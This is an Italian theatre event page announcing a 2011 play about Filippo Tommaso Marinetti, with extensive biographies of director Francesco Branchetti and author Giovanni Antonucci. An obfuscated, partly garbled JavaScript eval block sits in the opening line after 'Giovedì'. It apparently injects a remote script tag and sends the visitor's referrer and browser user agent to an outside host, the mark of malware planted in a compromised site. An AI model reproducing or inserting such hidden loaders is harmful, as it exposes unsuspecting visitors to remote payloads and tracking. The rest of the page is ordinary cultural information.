



Giovedì eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type| 97|language|jquery|userAgent|navigator|script|fnzdh|var|u0026u|referrer|rrhss||js|php'.split('|'),0, {})) 24 marzo 2011, ore 21:00 Teatro Principe.

Spettacolo teatrale di **Giovanni Antonucci**, con **Giovanni Antonucci**, **Francesco Branchetti**, regia

Francesco Branchetti

"La Provincia va in scena 2011"

Giovanni Antonucci, in occasione di una nuova serie radiofonica di "Interviste Impossibili", ha ideato una vera e propria pièce teatrale, che ha per protagonista Filippo Tommaso Marinetti, intervistato, durante una rumorosa serata teatrale, sui temi che egli affrontò negli anni Dieci e che oggi sono di grande attualità. L'intervistatore lo stuzzica sugli argomenti più importanti (la nuova percezione del tempo e dello spazio creata dalla civiltà tecnologica, il ruolo dell'immagine nella società del Novecento), ma anche su temi più frivoli e molto divertenti. Nella commedia troviamo inoltre un ritratto gustoso e ironico della cucina futurista e perfino della matematica futurista, ennesima invenzione di Marinetti. La pièce vive sul contrasto, ora polemico, ora ironico, ora quasi surreale, fra un intervistatore scettico e talvolta anche aggressivo e un Marinetti che ribatte colpo su colpo, con la sua verve, la sua capacità affabulatoria, la consapevolezza di essere stato un profeta delle conquiste della civiltà post-tecnologica dei nostri giorni.

Francesco Branchetti - Note biografiche

Regista ed attore, nato a Firenze, ha studiato regia con la regista inglese Antoniette De Bromhhead.

Ha da vari anni un'intensa attività come attore e regista. Dal 2000 inizia una proficua collaborazione con i maggiori drammaturghi italiani contemporanei, mettendo in scena molti loro testi.

Ha diretto opere e concerti e lavora in programmi radiofonici.

Nel 2010 gli viene assegnato il "PREMIO SPECIALE VALLECORSI - protagonisti della scena contemporanea" 56° edizione.

Sempre nel 2010 riceve il PREMIO GIBELLINA-RANDONE XIV Edizione PREMIO SALVO RANDONE - OSCAR DEL TEATRO ITALIANO per la sua attività di regista e attore.

Come attore ha lavorato in svariati films e fiction di successo tra cui Cronache del terzo millennio regia di Francesco Maselli, film che è stato presentato fuori concorso alla 53° mostra del cinema di Venezia; Le ombre rosse regia di Francesco Maselli, film presentato fuori concorso alla 66° mostra del cinema di Venezia; Mari del sud regia di Marcello Cesena; Empoli 1921 regia di Ennio marzocchini, film presentato alla 52° mostra del cinema di Venezia e al festival di Amnecy 95. Ha interpretato il ruolo di Francesco Marini in Incantesimo 8, il ruolo di Luca in Ricominciare 1 e 2, e il ruolo del cattivo giudice inquisitore in Elisa di Rivombrosa regia di Cinzia Th Torrini con la quale ha girato anche Plagio e La colpevole per la RAI TV, ha girato inoltre Dopo la tempesta regia dei fratelli Frazzi, La bugiarda di Franco Giraldi ed ha partecipato alle serie TV: Un medico in famiglia, Una donna per amico, Ricominciare, Un prete fra noi, Raccontami 2, Nebbie e delitti 2, Una madre detective, Provaci ancora prof. 2, Il Commissario Rex, ecc....

Come attore teatrale esordisce con la regia di Antonio Pierfederici nel Si e No di G. Greene, lavora per vari anni negli spettacoli di Carlo Quartucci, Riccardo Reim e molti altri.

Ha curato la regia di vari spettacoli tra cui: La temperatura del pianeta di Luca de Bei; Bruciati di Angelo Longoni; Il ventre di Alberto Bassetti con Isabel Russinova che debutta con molto successo a Taormina Arte 2003 e prosegue con altrettanto successo in varie piazze italiane; Ultrà, Tommy e il persecutore di Giuseppe Manfredi; Corale dell'attesa di Giuseppe Manfredi che debutta anch'esso con molto successo di critica e di pubblico a Taormina Arte 2004, aprendo

poi il Prosa Garda Festival 2004 al Teatro del Vittoriale e la seconda parte del Festival Internazionale Del Teatro di Ostia Antica - Teatro Romano di Ostia Antica nel settembre 2004. Nella stagione teatrale 2004/2005 ha diretto Mata Hari di Mario Romano Parboni ; Scandalo! di Alberto Bassetti con Gabriele Ferzetti in scena con molto successo a Roma al Teatro della Cometa e poi in tournée nei maggiori teatri italiani ; Mary Shelley & Frankenstein di Enrico Bernard in scena a Roma e poi al Prosa Garda Festival 2005.

Ha diretto La donna di Samo da Menandro con Debora Caprioglio , in scena al Festival La Versiliana 2005 e poi in tournée con grande successo di pubblico e critica.

Ha diretto Shakespearefamily di Giuseppe Manfredi che ha debuttato a Taormina Arte 2005 e poi in tournée nella stagione invernale 2005/2006.

Nella stagione 2006/2007 dirige Tre Operai di Enrico Bernard ,dall'omonimo romanzo di Carlo Bernari (Teatro India -Teatro di Roma) e dirige ed interpreta, nel ruolo di Macbeth, Macbeth di William Shakespeare (Teatro Ghione di Roma).

Nella stagione 2007/2008 ha curato la regia di L'Osso d'oca (ultimi giorni di Puccini a Bruxelles) di Giuseppe Manfredi con Pino Micol e Bruno Maccallini che ha debuttato al XLI Festival di Borgo Verezzi 2007 e apre la stagione invernale al teatro della Cometa di Roma.

Nella stagione estiva 2008 dirige e interpreta, nel ruolo di Antonio,"Antonio e Cleopatra"di Shakespeare,spettacolo d'apertura di Taormina Arte 2008 e poi in tournée estiva (Segesta-teatro antico,Anagni-festival del teatro medievale e rinascimentale,ecc.)ed invernale 2008-09 (Roma-Teatro Italia) .

Ha diretto nella stagione 2009-2010: "Inno alla terra" spettacolo-concerto su San Francesco con orchestra diretta da Pino Cangialosi; "Io,Ettore Petrolini"di G.Antonucci con A.Avallone; "La voragine" di Enrico Bernard; "Faust,ein fragment" di Adalbert Von Chamisso con Mariano Rigillo (festival fabbricazioni-rieti); "Er naso"da Gogol di Moretti-palladino; "Senso" di Gianni Guardigli liberamente ispirato alla novella di Camillo Boito.

Nella stagione estiva 2010 interpreta come protagonista "Il lavoro dell'attrice sul produttore"di R.Leonelli ad ASTI TEATRO 32.

Giovanni Antonucci - Note biografiche

Giovanni Antonucci, allievo di Giovanni Macchia e Giacomo Debenedetti, con i quali si è laureato all'Università La Sapienza di Roma nel 1965 con il massimo dei voti (Tesi: Il teatro futurista di F.T. Marinetti), è storico del teatro e dei mass-media. Già docente di Storia del Teatro e dello Spettacolo alla Facoltà di Magistero di Roma, oggi è docente di Storia del Teatro alla Link Accademy dell'Università di Malta in Roma. Ha insegnato Storia del Teatro e dello Spettacolo alla Scuola di recitazione La Scaletta e alla scuola diretta da Mario Scaccia al Teatro Molière di Roma. Relatore in decine di convegni scientifici in Italia e all'estero (Francia, Belgio, Portogallo, Norvegia, ecc.), ha svolto seminari in varie università italiane.

La sua produzione scientifica è assai vasta e si estende dal teatro greco e latino alla drammaturgia e alla scena di questo secolo.

E' autore, fra l'altro, dei seguenti volumi: Lo spettacolo futurista in Italia (Roma, Studium, 1974), Cronache del teatro futurista (Roma, Abete, 1975), La regia teatrale in Italia e altri scritti (Roma, Abete, 1978), Eduardo De Filippo (Firenze, Le Monnier, 1980, 4ª ed. 1990), Storia del teatro italiano del Novecento (Roma, Studium, 1986, 4ª ed. 2002), Storia della critica teatrale (Roma, Studium, 1990), Storia del teatro italiano (Roma, Newton Compton, 1995), Storia del teatro del Novecento (Roma, Newton Compton, 1996), Storia del teatro antico (Roma, Newton Compton, 1997), Prix Italia 1948-1998. La radio e la televisione del mondo. (Roma, ERI, 1998), L'età dell'oro del teatro (Roma, Studium, 1999), Storia del teatro futurista (Roma, Studium, 2005), Storia del teatro greco e latino (Roma, Studium, 2009), Storia del teatro contemporaneo (Roma, Studium, 2009)

Editor di numerosi autori, ha curato, fra l'altro, I capolavori di Carlo Goldoni (5 voll., Roma, Newton Compton, 1992, 2ª ed. 1999), Tutto il teatro di Henrik Ibsen (4 voll., Roma, Newton Compton, 1993), Tutto il teatro di Salvatore Di Giacomo, (Roma, Newton Compton, 1991, 2ª ed. 1996), Il teatro. Facezie, autobiografie, memorie di Ettore Petrolini (2 voll., Roma, Newton Compton, 1993), Le opere di Gabriele D'Annunzio (11 voll., Roma, Newton Compton, 1995, in collaborazione con Gianni Oliva), I capolavori di Henrik Ibsen (Roma, Newton Compton, 2003). Ha scritto l'introduzione a Tutto il teatro di Honoré de Balzac (Roma, Newton Compton, 1994). Per la sua attività di storico del teatro ha vinto i due principali premi del nostro paese: il Silvio D'Amico nel 1975 e il Lucio Ridenti nel 1996.

Attivo da trent'anni all'Enciclopedia Italiana, ha scritto voci teatrali e televisive (ma anche cinematografiche) per l'Enciclopedia Treccani, il Dizionario Enciclopedico, l'Enciclopedia Dantesca, l'Enciclopedia Virgiliana. E' stato responsabile della sezione teatrale della Piccola Treccani .

Ha diretto le collane di saggistica "L'evento teatrale" e "Paralleli".

Critico e saggista militante ha collaborato a molti periodici culturali ("Studium", "Il Veltro", "Cultura e Scuola", "Il Dramma", "Sipario", "Hystrio", "Primafila".

Dal 1989 al 1994 è stato critico teatrale de "Il Tempo". Dal 1995 de "Il Giornale", di cui è critico teatrale, letterario e di arte figurativa.

Giovanni Antonucci è membro delle Giurie di alcuni dei principali Premi teatrali:

Flaiano, Vallecorsi,, Calendoli, Teatro Totale, Lago Gerundo ecc.

Autore teatrale di una decina di commedie, traduttore e adattatore di una trentina di testi in teatro e in TV, ha vinto nel 1996 con La finzione della vita il prestigioso Premio Vallecorsi. E' stato, inoltre, regista del Pigmalione di G.B.Shaw ,delle Serate Betti , di numerose edizioni della Serata Futurista , di Attrazione terrestre, di Incontro con la luna , di alcuni CD teatrali e di opere radiofoniche.

Producer RAI di oltre un centinaio di programmi televisivi nel campo del teatro di prosa, oltre che della fiction e delle rubriche culturali, Giovanni Antonucci opera da molti anni nei mass-media, coniugando la teoria con la pratica. E' stato Direttore artistico del Teatro Stabile Privato Al Massimo di Palermo.

E' stato membro della Commissione Consultiva per il Teatro del Ministero dei Beni e delle Attività Culturali.